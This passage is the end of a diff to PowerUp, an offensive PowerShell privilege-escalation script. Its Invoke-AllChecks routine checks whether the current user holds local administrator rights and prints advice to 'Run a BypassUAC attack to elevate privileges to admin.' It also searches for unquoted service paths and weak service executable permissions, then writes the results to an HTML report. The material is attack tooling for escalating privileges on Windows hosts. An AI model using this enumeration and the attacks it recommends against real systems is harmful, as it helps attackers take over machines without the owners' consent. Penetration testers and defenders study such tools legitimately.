zteN{-co5ggbU>y_*s!W*?yIEJ2roe^`Z06qM<~f-;w)>ne%|cB%!E3X=LeXnwyciznz7ft3_K07bx^Ln&^Gf-$ zsn+x3rtV{rJg2!=+Z#6Q<)-cCSP~jOG3%{f zO^Y3S6tGF04>H|nXiTW1Hx3DG>zd~?-4{Y59A|5$`&4)&w+pF}cVxQHDRM)mdnP&k z!`2mM zNl)BYP2At9QP;CFk z^SF0FK0}>$SQGdA$UaV6FVVOr?(WDKr=8~wZQ_0t8SS)BHh?B~ZQ?$w?r7J<{W>z% z-XF6H8BN>`w7F9I%PaM78SY>4I$O`Ykm3GB?{rOOq>jxQ z?hg)iY|L=Kr2*Y;%m}sR1nK3tGQ)kD281rnP~TmU;l6^`Z04TB{>jKVCp169eFmoV z>{|*xF2nsB?2zp6mlZrd!+jNY+?S7IcwO{L8w@o%>-;UFzRzwfZwn z>+wsPdnR6%|7<6D9@&p>ekaYH1d@Sc@V2G72aNMB&b+QaS6k$cH1`6Sk=#&UhX`Js z=I(+`lEELQ5qw&j`vq*43|^r^%G2DHuz520LIod{=3W7_4oM5P_7Vl}pXM%uErzFQ zkIG96r?m+6=cdUqJ=5F|()P1AvrmL4*_+vIushpg3G4w+gSx3*=1#IVwP(TJ`0qw0 z*_+xOP&c(Vl1?|ZH$&ajUJZ3qdo3IYe<0l;_%qaP?Iyy9z`x_?!7Ia)oqTu|EP$7V zr#M65DmV=8icEI)hTp;A@XN>)X9WBT?!%3MKfKQlA7n4d&V|kd*L?`?JD*cynjIrt zly+jD;}p}+buV_NI$d*Jd3(9;rFa@6$s}p6yFy9+9#N8?BkoGPo@7sR&F2yKX6Imz zpw@dQ;@*PS*Ylo_xZmRS^Smt)cNboN&)XPr&%+zwdFvwX`FMPsLN%<6sN@SH?w8IX z&LA&rsSP_R;(kR~o)Bkuip zyg;tH`rGt9BkqT!-`fjoXT!21?ni`;q;EGlhdHC*J#Zg*JKPuE0r!JXLq5*nJ_GlM zTj7`&!|pcu$+7uygl%$P*!>KSxg%^JFjFJ<#_PgbyGwy#pogZ+xZ)n)P6HgZgc)h~z!+8F4qV{2TIiAjO#5D=KujBd8fPQn__we-Ciny;F z_ieluA35^gbKF<(S|+Q%Dp~!bj{7)~e)V@b?p=6(_18J>7CgWDRgQZOo?rcP$9)6O zul^**-GS#hbs8tu|~6kE#jNG4C^HhCSwe4*h-k8k^>?{2oFY ze_uY|hMi^H7YXzCT?k3uuh(Mazq>ODohqp0^2^=_ix zOVm4wGtn#*MTIDaicm4qJBPE8-Zd;kbI@E=jw;YRREet4e57{>_5PsV9n3)g$@Ond z{cTWN)DE>r9Z*Nq3GIbCqb{f`>V|SqF6xeYpq{7~>W%uKzNjDSj|QNDXb>8VhM+u@ zj|vdqNgZz&GY>s%dY)%R=M~LVxEC~j`T_LkDp(a(>cvm^-t@=(mJS13exTd^crmbpxPJ#P^vf3mJGI;@KVA&%)cAkZ zp5d1-26k$hWBqtBuv6pzRlB!ez8Ki4WoG;FqVyr#=5lQ>^s{fv5A@ICgLMC0{C`OnJVGrliJiGGGz!vk|T-o$y?kk{x8f43mUD^UoW7w3TY zRo;O)1;a;@mOp~R;bvgYpnMiO&X}+HhW9t?qA!2T7(g##??gYLTKsI{FGL@qS%mHQ za$Pjzt94Q3%lV$~*6!ll>d?ToyGe`cQ8mgz2JQH6U33e&4%MTvq#s5Z`~J8t`u-1m z8yx*XSTX)Iv74X~`PvXf`m1Ls&(eP~OmLqCWTs|8(qL6XH4nwZhhSHudissB^O7bsp3? z{buw$`WERMw!_d2q`W$Bo{2V~XV6!u1>yPV2&C`au0%TD>)fg9fIHEv=qIFa!|GeN zC!kZ%IKp(!yb?W(-bdUNnOhCW03KIS;NmEunQ(iP0uzhbX>p{#Xr=jaag@+Jx#6V1#A5DR z93_xu&&5$fv*<>U0@Is!7iV@`Li6vKy%t9a&9TG8!eH8493|}JJZz@7B{TsK6Kj-- z*}sCqoDv<*b!h)r{$;gI=1#}nj(*j}t^e;?E>IO7t-i>8xB&S71vU@TK+>9MgZo zfuMM3-rbYZJlS(u#zwT91K>F7J&X(bb6T>W;YaWn;cvqK z3V#rO5&l~I7=8!*yYYA7--Ta_zYl%_e-!>srA6=Hufacx_zUo#!C#1f7XDeqjydRb z$9#5o8p=SKs2R%gl?|m%%I?NGDUyDfN!&hjx`YW)A*5?2c$3 z(n_t-MC$L2W}xBdyjhMJiLO8s(G!#<)serh-Z9i*|4aO%IN9sxT-^w6<^&^c^R*pH&->cJwttFtwP74QiTa?oQHcJ^B|qO$ zv-*v4rFZCu2>mdFekh?I!u`ywA^3dHxPCeQ54}tz&@DM8A|2j0saNO|>Ak_8M$k9X z*8@ysc#kBXp+BZ_!#RsOyRv@z_g!xji48Q7#iZj~f{|Y6Htd(t{*>8;wn{6xVSSpL z+JL{1@AEtpIh}f*hP7}a=@-+6-S`*a{|+yQ+2|O`m_CSklhpk^dWp77r!A$}y=cpM zw6!O7@@-AC58;OpzAcAz{W$mI^Sx%nH>l0`q~lwtk$`V8CLW>QfNzlhIMUB2{UFMn zhJOJ54Ez@;?{w17Wqp@X#^vOj(ceTic29CW{ww$aM^m3m+JNt}PN%Rw0ml>HjQEQw zcRuBwgT01wZ=~JpXm7xq>DMmkI^rKe<7wAW+BJc8ZJ}K^a2#BX?qF;l%6312?Y^6F z(S>nPfxiI%cFL4?lkQj^Y9HHcY-mfKr-_5>LsBeni`Ck^`iK{DS>78ji-IR_y0HdXEi#I;cL>gY*kYKLg!Nc}oV44fUj)LkJJy zA3+c26QQKAFJL5pY)G0;J<@#ANOzG}+QfD`VSr<#9ljP1bj%WL z=?U~epRtZ~&j1sNFwXB8(8=60ptIFn;-94q=@aZ!U2|aA+=yNw?o8sOXDMSa{^PSl zMtTVUxE#kES06Uj#DBp!_<{Z6DaOHY#%m4xNj~}jKSMVd9Fq zTFh~#E%DOvq>*Jv zWcT{4ZvE<8jq6_D>iGVqUb>I5EfsN$d6cq#W8C*9Z!P0~3E_A3b{HUBvmk!9Hb0`z zS@#d9zqAkM8QQfRWzi3O$8^>o)HQ>3SVLb;ri>Yskwc$dNcz6$3D)yL((O{4NLNC- zy-9Zv=|ZH-r<@;%@22(>zlr!t;ujI$oA_4j8`946mRNPZ@R5*I&G?hXu+MFW#XajI znddJFjU?_I{Ex`y%JV<(b{gHT~E>*j{}Y!`~emGN%)s!MU(G=jFE< zD_I;rH=%O&pQiZyodUBTd>Nhx&m_D%>v9t7x2YG~jfb!Ivn_M*6WHx2=hq?i?S36% zI*iGyZ#O2-bhw9nd}q|~jWzQP97Wo@>6Z&g|2FH`Th|1PfiFq-A@TeT2lFfZg7U8+ z9pCyiPm=Cc>KRD7W61vo;g=KsG2waSKZx)P2i3Q`aFFS+3a)~Dmo)MLdYN*0vSWUy zyknGyatbMf@6nlk$ji4N&5fuPY2G5uaKfJ>O<&TSg58xg`IK=Eai6g6<;1PP{swy~ z_Rs9EU5S5~GWZ^~nSkELzJ)YR$j|rkOa(N~7+o-20{W}=7 zL1R&z@DXq^oC1GjeGWrcq2U8e@MF<$ly@#+?NKfMbzEOQ#5n83HP$BVm#_z6-$A-N25f22 zV}o-{pz8)X=4RrhJdT4yICe@ubNrMPHfLgJ?V%GwTi)d1$YWDN=KLw4wI|>&#(x0+ z|K)$7P&oXrw_m0Fw@Y&Q$40lyWK-npUovD*YmZp31^+0+o(25JeE*wWg4)p3{`-%$ z=HF9su%Q|@fFEEtVi0LC8ti1f1pONZp;2c#NM%KkYDz=tDD_{AC+1^stC$aQ}g?M)9PI9-%|%54wZipfl(Tx`LjdBh(Li zAgITD>IC(Hx>=@FhD(&;&z9%SnAq#iozv7#Ov>d~Mc z{^{|a9^mO2ogQ-P(ItPSSkLF;73%VlJg2i8k6%U`{nL2b@w4}Rst=&X)hAG6>kFvy z^$pY*+YL3&eu5eBH`oOJ2{U2%7w`L2>984oQ`j74!z|bqwt$^rHtYtu^fx^rw|k}^ zDsJr1+;d^il`~Z%HpTKeO3wQwh29Afj;eqf+I060w zC&J(1B={$s44q%S?^C((Ap8tC6*h$j!z_3RYzYsAZQx6 zBpe8jf_ZQT90reuBjGV{KX@!03-#{Df$%SIGSqKh2Sfd?G7X*xkAySfF>n?<9!B9T zSO|+?43@$oSPqL}B`kq)I2+c&Qn&z?!NqV6JO$2$OJF%%1}os1a2{L^E8+RD3SJDg zJFbLrxEfZ&t6&Yh2G+vsU;^F<>)@?$0o(`|!cA}y+zc1PhoF8>c@&-ux5884)9_UI zJgkQ=!zJ)FxD>txPlNBmWpF1v9exJSfM3Eh;VyU<`~gOb_})}ek^L%Fu`KVSRMs!E zU$?5T!HZbVv!AIVif>gBr7u?TX{V?@J%u#-c1#wvWl2hXHq84@kzFc8pFLv1Cxf&B%9Ntaeh`FFQO}QKCe#J~Wi5=G}=zHE&NOOB&wCX#)j9} zOf@Cdh58r}(C2_k_=+oE|4|}ahL%M*UQso+s2Z=7+VWCjw6x#)DXp^(H0P{YS!v|*g;E!GK<(W7~VJ&1T5RcA6 ze4>WM0xh*5uEvfe5VHYFpy9((3&xZd3bmt3u;FEFa2&pg!@@>uNXgNX&*IeBK?D?8 zYU3Cw)in&A>KZ$C1RG>W51yhmYN~6L#*PwT+r>7(w56!xT8>#-&@n9O1D5otz`s5ZpZi!52+1P8uCH3$~Z zZ!na{hVTU<-%vh23s~%@nO)Ohs8&Vk(CZt1;u^o4*)@JS7>cT?UckD=YH9^O|5js5 z<)dzvI+Chzz6It(HQ=dyfg*s)7Q8@}TcHoBRjZpS`0`U=md&%J@TD|m0LlQAp=_Ql z1$cqBl=7g{E8??Dl?NyqC{KJgpH;K)0@+&=9K0(kwB2M>YlC@)nnH-(q}B+cYHcg| zPMB?!sKTIakLdZ8ete}LU+KqJD&C$fv~oJ}CZwuj?sgJYbF0|0RdeYI8X$6t6YG4x z&hu+aYi(+1<7?}D-^R!7#)y}20!px)XO~oly@;hcA_p~@(SSTE?OzY_x4IzF)fmP#pqa<-IJhil;Ho*ESnZrsaf5{VXMec-`A7Zx7TH^+LK2?1TCu-TUdjPxpMf-_yOG?(=ky zr~5nI+v&be_jJ0S)4iPT<8%+F`#0UY>Ap?(Y`S05y_)XRbdNR`>E7%BqHbRhR=Tg!J(cdKbT6g*DBVNp{z>;vx^L1w zlkS&vucZ5=SxEOsg(!xKP%+ZIknV#@k?wzV@1y%3Z4lk>=w3(nIl9Nu{f+KzbYG); z8r{$6UPkvZx`)yIi|$=?-=cdK-LL3gMfWN7NcSg8(P`*Ez5Whuh#-xPW+)rAK^;(M zl!L-39W_NQP;1m4?S;A_m63)rQ5I^2+M!OUD{_&>U31hDwM89K7nF;Ff7L^0_Nty4 z^Tk{6mDNQx@%Vz7#pU^)UE|p`#eCgxXn_r{D2m1OVNRu~DB{x2T1ADk$%>gr#^P8q zG~s9D%dCa73ls6YAUSq^itQEdr5TzMJ}kxFJH;NJVvk6%N2b`LQtbRj6{psmpIUW( zYTfy%mFFjG=b>mr$vn$Uv6Dry+9~15f_QkE5}sTO9;T**C)a|9t100rYeB`SHK(iv zF{yQ@tOYR*wb!L=3+#rnup8C_yP+iPhPA*>EvI2E2ya*m?1r_#ZdeQKQc4^c5*FJwgutIwMf|(geTV`Wm^!QT#J-#L3qkq;3U@qC$;L7 zwIC+7a(^w@xwsJb_b&Fp@_4YptK!N1h_hB%1z)rd;;hdJ%=)ovE*U&CQB}s5V~fjq zzRM@2eX}~o-IYxlSbXEs4;yNt4Y7fxzsum|;F&z%MfLKQS}Ldfq3r!Z0H39{?N@4h z6ySNjXAI?&ynaZjS585YkH20~Q|RwWfyE!S@WZ@VuUENsw2k*j8ovPvCHB@eh$^BI z+Z38vRqbW-jfRk+Cg?1W1-?I&ER@Ed(Gd6)s9&wW{)xvibb24elIE@ObFrHHZ&!+l`TD%1Ww(#zrx{gGykr4g4^+ z5SG^!f#t<2jJ5IC(<5tR{h`!ayddUxMoHA`3y-{KY<;#)RS;6;r>No<-}V9qYsrU_ zHRke|{A68k$jPnbj@)07Dn@3586#a#!h+&N%|foI{St6fB5U~ubMd?&j&n*-Sw5v( zHyGcxvY;Uq(K6-X?Bf{>D9@mu8sY+rerkwK6#A>^8|)%p2*18mctv{T7a8j_oGWS7 z0-j=d(KY@a#b01)*tY_U0jschrCrw`l;5i6)s)2N+d#}jWl0G(`^UVRx$I+hMX*af z+lE)otVu)_!>?V$G`L=5br5TduA1p(43ef6!>K)40SOxy>bpUqzH19j1Xb8l6RB0; z1jSTUcw1A$R^!3*G$fN=K_gGc^JJV3g-K6G^rWX_anjQ{CF$vSob+^FNqY8}oZ>ca zO@8C%*dudF;>HcKN9UB-#!bp^+@}1-jmmG_s)EK{RM5Cp1&v!((72Zh8n>#TaX%F_ zZdF0!RuwdERYBuc4Gmfq;|Xqg!!GOZu|cHoCYx;c=VX(un{2XmlTEg6vdPv>Hrcw# zCR;bzWa}oIY~7UY>-l@MD`g9N@q4t)o`1cK>c#KTHvY;{Fr2*jJzAHtoxS)y+LyAW zZG6h6_WV6ME@fkT@q2V#%I5as_h?_r2KVCk=)ROqZsYxJUc*7z z=73jHHrtv!4GvNiCph8Zc<2zif$kIWdQ=i`{oY2aP{9-sHTgMg@IJT(3;Y>gSY=?O@`*x5+tqwBC z4$>zp;0o6-gNyM7%ckQZu&Ov_SI9GMO3$=OJu@XOe6w)HY> z^)3ye)=Gxime?@c4r|#~Sj)D-TDAq&vh`ze#psvE)nS7bl*grILs(E=bv!7qns-*b zwp8=#inXd@{K(;#Xl=htYx|{I+b`GJe#zGM%eJ;(y0vZjRr*zhdZICZn9Hy=$gsuB zuw~1z1iuXoWG#0J#*4 z%jUM0&1@~(N^99xTFbT)tD>R23U6!Ju%NsOZ>?=uP+o<%);26CufkjFSXoifK+m)- z^h{f%XWBM;rY+PnZ7V&~7VDX|o&3nqP_S>?l6~72?c26&-?oMOwk_SaZSlTs%U4x8 z5ZkT|oMa6RQ8te}8&{^^GWn^BW4(WG-e7az!tcegnT1vUZJY1tqAK6URQWd?icpCS z5xz6jrmBt?H$-@LK}xunhO;$)Oe9&d=j*!2t10RGW%7gnyoT6lRi1y}sg}q~=9H)F z6|Wq5x|#~S{6_im8|BMylrO&_U#YD@ZPj{sp6W|_sxRrOzQFV9OM0pKy!w)H$$Y^x z3)NOpW^atWWC`y!*LSLm?LDREF%TN+Wm~7%$<}e!P6^jlTaZ^*l!2|QwZPVuWMJzm zEwFV38QAvnw!ulQ*jK& zZ3UacoK-wSh6VV!aO7Hkhkz0MePA;<5w?NTVP|+E>)?^_PIx@r0*l~tupGVxYv3pFB=|jap~>1FZ4R5kwy*>20(-(J&k^Z&%?8!d6BtS;tt+DgD%_v>$kAIMf?ZFZ+YhsE+PCSk?^-g!assb3I7J3 zMfgu5;eW!j@iSUN{MK+eerFNC7d!`lFuVYcfR__K7Me%+ZA*Ng@gVNfe6j7(5aFfJ zfmI^$3q<1UVFvzkmNGyLp!s zM)045Yl(jq?s$j&1ilZyf;-{w@B`SS_4epTunqha=D^S35coM94Znp`;jYK|Z4rJ4 z%iwOp6EOP;e%}*6VjjBq1K$;a9SFZdBz(O{_-)W^Nz5%u({2r0;ts>#C!VZLg06W5OVJG-^I2JZ*yFEG%c7g}MzHmGo z4iAI}!U=FXoCs&ZNpK#V3{Qen;Bt5nyc|x2H^778J@62?6&?y-g@?fp;WW4#9uA#$ z+oRKAOLzp#fk(n2@F=)HoBo$C7A}Iv!L#9C;3{}LydItaH^CF(6Yx~{ z3Y-OZ!YJGY3!!PhJsN{8U=i#Ji{T(x0{4Tn;Z#@(kAr2f49e&vJHlSD7aRoh;ofjG91W+y3GfJb2s{BE1!uz(;Cz@4Pl7GrnXo;) z7_T z4uWsMQE&&G06&F?!*AgU@Ml;Cm%v(hHe3QPg6F}@;pOmZxE^kRcfdQ~gYZ816nq4} z3ZH`S!^`J}?`OhdJq8lDaBfS1BY;MMRYcnf?V-UoNVC*V@}GF%SdgBQcE;A;3A zTy_rQD2MA>*b+VuyTBOd_x^A^90BvVJ{k{;@TZAf51ast@yp;LAG5#8CwvJkA^ajZ z8(u9Eeg`bYe;6JJpMw+N+i)WM3{HYS!O76g<-81A!-HThoC=4)u^+Qv!f|jaJOCaG z$HUohGOUGD;A!w6coCcm*T7@oP4GB)FPsUVfCs}@;4JtajKVKqA^Zu(V7NQ$4_m-u zxECyeec)_36qdpE-Z%SFb*r=sc;@V7gj>=r6T(dl3pt+Z}^3}x~`1B z0<2$Zc=}=^WDswkjucmxr96$0mwY->_578R_E~(=9*_HZQqne_bMJeIY6uY8g52qoA zV)UfLW|yPK4b~~EjwUOS(~w6_LmoMe^62?ULjih3VV!7n_^{Mg`+h^2@*B0@^Bcvd zu94E?H;Ql6VkKzQY6UdvhakW!qaqP>k*s8xx1#Ze_Xz@v_XZl?DDa*&dB4%eYFK6O zw{+iRv}%mRHEh|M_DM0c&xxV;lvsxMq!GhDQTVD$-_Xr z%G-1GSTNzgpCr3D^$}sQw^#G#BCq}M_KBq)?K1DHJb!L+ag}HBlVOFm3L3%+8p4J) zgbnq>${O-wHG~Cu%gTeiW#vI$EH7PkO^{bsLzthJFh4JrpI4SmSG~}b@k4DbZ$(?0 zvIJ9#7A2xGV$5l(GrZZsOf=7^H8C3=Qv`3$Gq;8%Q^)icJ@5bHv&7e2fHLc|#AnG| zC#Hg!>ilAUA!b=%mqYC`pLrvM*yT{W%(LNnvJ1Qn!1HWWK{0V*am39D@IiASB*`@HU%@QRh(Tajm^_gof0axch>soitP2#vFOnj>!a7BErd-& z!>~Ugyt38$=uUK0>-Etm(Y|fgN4KM~d##U7YP&wV8J*Q(ee~X(_0eCutdCxmyFS{l z{rcztcy;IX(PiD&N8j(bKH3r<+iiXHCpfg-`sl6bPRi*0KiE4D_$aFNe;<-iM8ze9 zYFhyT5plNfrY=oE5tkw&mSmD_NHk@WO-Mk!tO{5V34*=cSa$6ScCkf7EEf^P%0&$p zELRZ`70cEC^Um(zCIr-be|~=DfA_;P-#O>JbKcYD%$eCGgUyc|Ux`ilkf^=|Zsz!& z#AT4*g)qHeRDT&><@ho9Idec%SBFP+izBLE0F#GB_0{l*FRBmCjOxB4qWaz7a!2*s z;U7mw^)oc$bBG7a;HbXI$+76SaOm);emPu_MHo6BN%=>x?}_SVUh=h3FTx%3qIv^_ z@x2AU#djI`_>Ll9xB=f5jz4rL`N4r4e*vt=_h|AsG?#cN8$ukM=%U@BBjsy=vTWj^ z0ssGiP53@h>SQNx_y@ip_0yIkX;--KFHyb!9QrDszJoiij_L0HNFEPH^<|et z^*#&ehbr1K6xH93MfLHwMfK~Bi|XBukLpj)jq3J!QGI)HR1XGe_a@r?rl|hUlcRcQ zT2x=#7}ZBCj_N~ZM)gK`>OT5wSyb1Kjp`r3t>;Dc-sdwm3ZwdyF!Tn>32#oJPacZu zgD;Ef!yk_7UBXfQY&h{w>I>-;qWU~odtp>}Uli5PIy0(&1P|Uq`EOlo8;+W4rx3LYw@Ze>xu>x`&g0~=u^ao?O0)fdd?xak}RZ`5;6G(`2sFOTZg zH)As{s_(dm{4b#0?v3jE(tdBDpWYbNC;pZ8nM&J0WKmTA1UA-2_5GGJUT&w4?}+Lj zo*30n4n+0*i=+C*HnYM1Ny(5cDRH7w^Q$(GoyMD?QjkKzxm;)K6PwVe-SP@pZwwQqNsi~bfgVJ zaNJ3Z3ApyMsJ=gKu$BJTX$RL`oJ+8C0&Phc>3<9LJnk6s2ODGX`1_cr==b+w`t=+KKhgiiQy9Ms8CT$~iRw+TiS|GF z{;2LbA*$aAKU4RT3pppsqIxQ0@I(4{{4G&^)TvSZVHma~s{a+9rT^WG!}O($U3h35 zW9K-|sSB{5%h+NJd`;gyOMkhq=DawWwt-U{$v;N@>Zl*AVtgFkL>>X!0M437KUOjS zRYdj8Fr_l8KM&8){{ixPi7}FM3H@;nZGJ9o4%vU9uL6_2iVc5&gRR3ZZ#OWv_2E!F zSXos+yG9*TuFn`%u7|^FlB8hnc1pUrZHSw@ot0G$nAaA?(+s=uRcex?j}Gt~*!VWT zzO1%1znK4bm9OQORpy&^hDlPQEje+ohZ=8E*z4i=u-W7FwR<9C#!RUV@!*74tijqRRV zt8HSddbCa4J@ce&9m$Q@_Q>5!E=5Z^x|Lu0crVHE)@x(Xs%X0(pPbz8@vTa~`|-b7 z{$vL-M%xrGxq5$!|5oLnXq>vnHr~Y5$)_%-73WjiRI`Nbr<(OQQjH4y#_{nJL`_US zQQ9lTZs~2xv0J*?(1~*HmflWDceD8|AFa~kwcRa`|B7<7$wS7Bn)vI;X|KK7q_!&Q zZpXHhf6{m`hfKUBdG_8W?{-?Ujm6%*w@Qt-Vw>alUcOeT?H=E{27kQ#tvu{j|KBeE zzw5vC@u|!kX&~AGQW9ZN^V5YL!TgB5AU4T%a=g&?(>A_sex|*duNgM;w-6ziAM^M< z*_(Ezn)#UFw)vUyX1-?F%)bv2g87mE?<#akV8%-u3T;1aCSI2O#~ z%>4el{SV-kG~?XP1~ovWP7Sk`hs&)JD=(@s_IXVJc*DhiXZW-y=h(7 zP+O?jl**=FHvF*>iDSdxG?6$q4JzTrDwzdG#`FMqU>RHi&q05P0C_8U)Tx8~?IrWQ zU}sY{N;k~P|0o}3t-#7Cbv$pQVq|X=9B=f%sidE(PB%6pYPii^C}J-*wqe;iOO36u z?=@1rMojUkYIq@(LKtk-VrP>h6K!R)s{z_@jn*3OEs;VRMTi#w7h-I9#9vta0O~D- zQjRoUE1|3>#Pn}A#Pko~PPiC$z8ce?hCAU3h`_h&X%~2ZT}+<_YhQ`!qhZC`n65$W z<(PgDT)rlzcY(kBEvD~yDW;zZEicCOsj%jSm_8C7eLkiShg(<2^nTFzTuko-=d6n9 z+nRYJy%`yG&H^p=djA^1ge~sz)-5Aqf zzaggoczsMi4351nrdM1`-q*zR$F7d)?_CwsGhp16w9^$a{eh)1{gWjz{a~1Mc}%}> zaZJCbF{W==6w|-IET$g{V;08rvo4M4ixS_KAg14SeoS9~UQGWkLf$ZHPE0TROH5yMZcJZw4tbwVKS0s!n11!FnErA@Oiuw% zeN4ZkE~dW|rf+Lv`URmF_qeoE1#NT|^(c$!TV}*`Ur9{Aw3zx7(pGv*pOKHx(_{LV zr_#^UX|rk6Yidl-Iw_{lnH?NDaD z!L$z;ckjpaqd$!4%ilwxA9RG<-lg2{a13nxJAPmu)WSXFU4l-7rXibo`Ksz>aYl%38%woI1@*V`GJ za3kcw0O$<=_$sEq0uR7da5m(_C>RX;!rR+8pW%fsWBNeYzLhZwm%(W;6n1_Q(^tb% zXaFzlqYK?)riDgD{*7bAM!hfbpO~2J9q$6Fd*=e&&3I=`aMo{bx*n5^jQ0 zI2ykFi8z=G$3r^2O+HO<2zh+;J$(+1FbQ2sz+atePs zs+A?-e{Zh|g+^R3(Z;J(I3i3DW3i(^+zE6ZZ)GM9Qv3z7);{WX^RbUQyogo!ub-_f*x!dO@Bw@VYef(x)4g5AqdgI#az zo&X)Y>DbBp`1)Y;G!$dA4>tG0WNdcA4cJ|Y-7M^0Mejlb*nR`oV$WN&)rW8~w!^XA z0R6G+h+PX@h}|&k*27Hf4#ch*g4msb-3V+B!sb~h#b$qO?uV1H`3Y{q?po~5#qM?V zUUV|HJK+ZGM`HUiT#Bs?+c#hkcKcxWAuPa7!|rvMjoqQxt%5S_3b7l5jTM{cp&Xm; z*gOoUVk0-ZQMi%a^RRmhU5-x0_D5*Kehjvs!6NLP*uD)zvD+WJPhb&tPVC->zhE~2 zyBDAWyAtf=)d~Z#`5T0=>50t>$j2rPn>*lU?B-$jcl1H@6l{NnTd*IC?H6!4_8x3E z!Eo%lWA`~M!On}_J8(XBgRxr!)!3bh-3izX!R8gH#ilPdPeBnjU9hJ9_Z;fP zZX?XWZXk9qLM3)RuzM7URv*HX*cV~fg@}7#5_aFg_1KQUE)$!BvDpcK#cnh zIIwvO&c$vfcBf!-Ke`Ydf$bJpfUSn@>o6PJL$O^2^2}m8tid*nT_5b8ghK2(V|O=9 z#O^q3j>4u3Huu34Y`%vZu^WZWC$JE^`Ph|V_Y8U+`X;vLV0RdHtKlr{EZFhtLgTZU z?F#Jju}j154w!)5*KjqqIoP?e>5I({xDGo%HXp$y*c^?`YcLDD8thKO=3ew-RKxZI zxCq;$uzeNku{{XeXJCKqzJwRCt->w?yT{-R>{7A29ZtaR7;KKfCJmdrAb`y`a4mLu z*n9{VV|PAwLF}GHuR?RM{dYf`y8fEO>+ElV7n0&m;vv;ZeJuWy`dA|;_0gJ7>f

  • !4~(d%*k99=^qzrL&rRo=HIj3EXeeDc zH$mZ`P)agA28U9TnLIS27I1DZ;JjSGdAWe|aslV%0?x|?oR`8C{kZ=2vqrAyr!`;E z&(D6qe?`B7$Q46LgKNptpf~<|TO!x?w)(H_t)c$rYkLQvfbgEvE@C_xFupG0T)K#J z=_1ahi#V4qV!U0%xpdK9(mtl`4XDS*eV7~iFgNsJZs^0@(1*F94|Bs_(jFNYN_m7o zviV4cCGtpy)&EF_hWeWy$p}D!e;)bIy9jm>?A{|U1IEvLjGy-yJ6pI0Zs8iZh3nrIu6q!% zbF2Z!+Bw$Fu~FiLbjmMW(-zLxYdBx8;at5YY5ziwX$5&+NS+sx=Y>i8TPRyADB~8& zxJAmCw0{}-8F1`n~?a@PLAn2IJEMf0il&>2AYwiM*MWfj4+~ z;U!-$`FhFMOTO)KJ$*BwyMOfcy)-qUdqLVQOVZ<681uOP*`Vb1i+6U?plIak9Ug z2JjWYR{&oD&fNqnQ4@)i{oV9n;@hJLTLb2oBIcJO=9a09A7KdREkuSeR);WdhcIq0 zV=ZX!jjnv4ucg-meXZb!#y*L3v2A{tIaes5 zo~@w1CDgZs`j#Z^f5Z9I3eJgddRqP8a9(_qwEtcYi~qeI*2sH3{OUcs@M0gE< z!jI%7T!HNs*j|C{71#-PF@6j<-|ymlzl-y|g7t&YFWutrmu`*pOZTgO{RzX%85aM` z8P>?l8GiNhK*C__W%1j%AF%cED;r~2SW4Vd;+7J(RKhT=x5YoLw>2`2xqljSicr_j z;;&;JQ`gV0>hLMVh>H;yBQ7RkSV7rWQ1%s+eFfzfnkl;hWpAeJ&6NEB#{L0}{R0^L z2hdN#W3+)mx+U^hy4C+!y1zN?h=}@nNJRA-5K%v!FN9X!*r#dkjeQ!gy|K@-(Kq&K zP9waQ@J7OD^V-Fi^Ngcuo$9#^nqeI@wZvJ53e5@Dq0sd4Hr4bUbpA>;^@hRVfn(uh z_*iu?_zo31cZky)6$U5ppu({UPDY_;i;A-i6?g(@U_k|I0u2@X2?D6lvQ72e2K>M$AOelh1k0cq z)@@glTV7R@w}INg-&}!~_v36s1^(!Ufdz%wjIUIz9xjBd;5K*!o`*MKMu!dt^{8-R zf~!#Bwgiu$!t)8KtCBYqXPY8Q1F$S90B@haud);lbeA)dhW0d z>Ny*XfQfL}2XSnuFe1T36z=}`D|PpG(0RMMyEhC54;%|8!^a&u7<`8com1lUMuou% zJg9JNf|F5rZgYn?9oQGTCpZihYzao7!o&odsSAJP<+<)~7}#J0Ox&*C(Ko1fs^L6X z4EhIgs!`#*1dCC)f5vuoe?43XSHW%Y2s{sO!iipu+PB-bCRY zJ;8aXusFd@sIWZ2GpMjWflgh{gT-(YEQe=c{dVQ;Z%KW0uqD+sFs^3~4viEliMJ22 zq@G2*Xy>7!ktSD?28-Z;XnbG7CcDL7OdhZZ4!AnLFJY72;=2vCq{1RNAhAz4l>YqS z-MIn3LL>PJJvsJZm`@#qnWXtBf0#7UZ1i+M7X@zZu?Rf?Js?0_F^q$$@$^)Q6MNC; zX`?|Lk1pzYdyhrv0q6lei5mt7K)-l;s>F%CssGAxd6c^V&_$DP?y(3x06kzbaWh~% zoDxq@l{m2%{jG8)m+SYG?|-`e7lT40ZS?bako|(&!V^p_NW}d+>94a!O6K47*OB!} zGAFYp6MkgP`D1r&?vJcHf9zhszDjEy7ck-%v-VuvN1MBt_2=R~1?;P|)^PzN{=uQ4 zgI>>2?>^Yif(G7wJ;MsxA+Kln(E`+Z2K#5U3=CO?^@BqFg?op_d3;D{VAn@eRo53% z)mqj{!ndq7zwN0-zGc1nZO;Ps`CC`5;sQqeN_?%v*Ghb?#24W+*gs

    PowerUp report for '$($Env:ComputerName).$($Env:UserName)'

    " | Out-File $HtmlReportFile + } + + # initial admin checks + + "`n[*] Running Invoke-AllChecks" + + $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + + if($IsAdmin){ + "[+] Current user already has local administrative privileges!" + + if($HTMLReport) { + ConvertTo-HTML -Head $Header -Body "

    User Has Local Admin Privileges!

    " | Out-File -Append $HtmlReportFile + } + # return + } + else{ + "`n`n[*] Checking if user is in a local group with administrative privileges..." + if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){ + "[+] User is in a local group that grants administrative privileges!" + "[+] Run a BypassUAC attack to elevate privileges to admin." + + if($HTMLReport) { + ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Adminisrtative Privileges

    " | Out-File -Append $HtmlReportFile + } + } + } + + + # Service checks + + "`n`n[*] Checking for unquoted service paths..." + $Results = Get-ServiceUnquoted + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Unquoted Service Paths

    " | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service executable and argument permissions..." + $Results = Get-ServiceFilePermission + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Service Executable Permissions

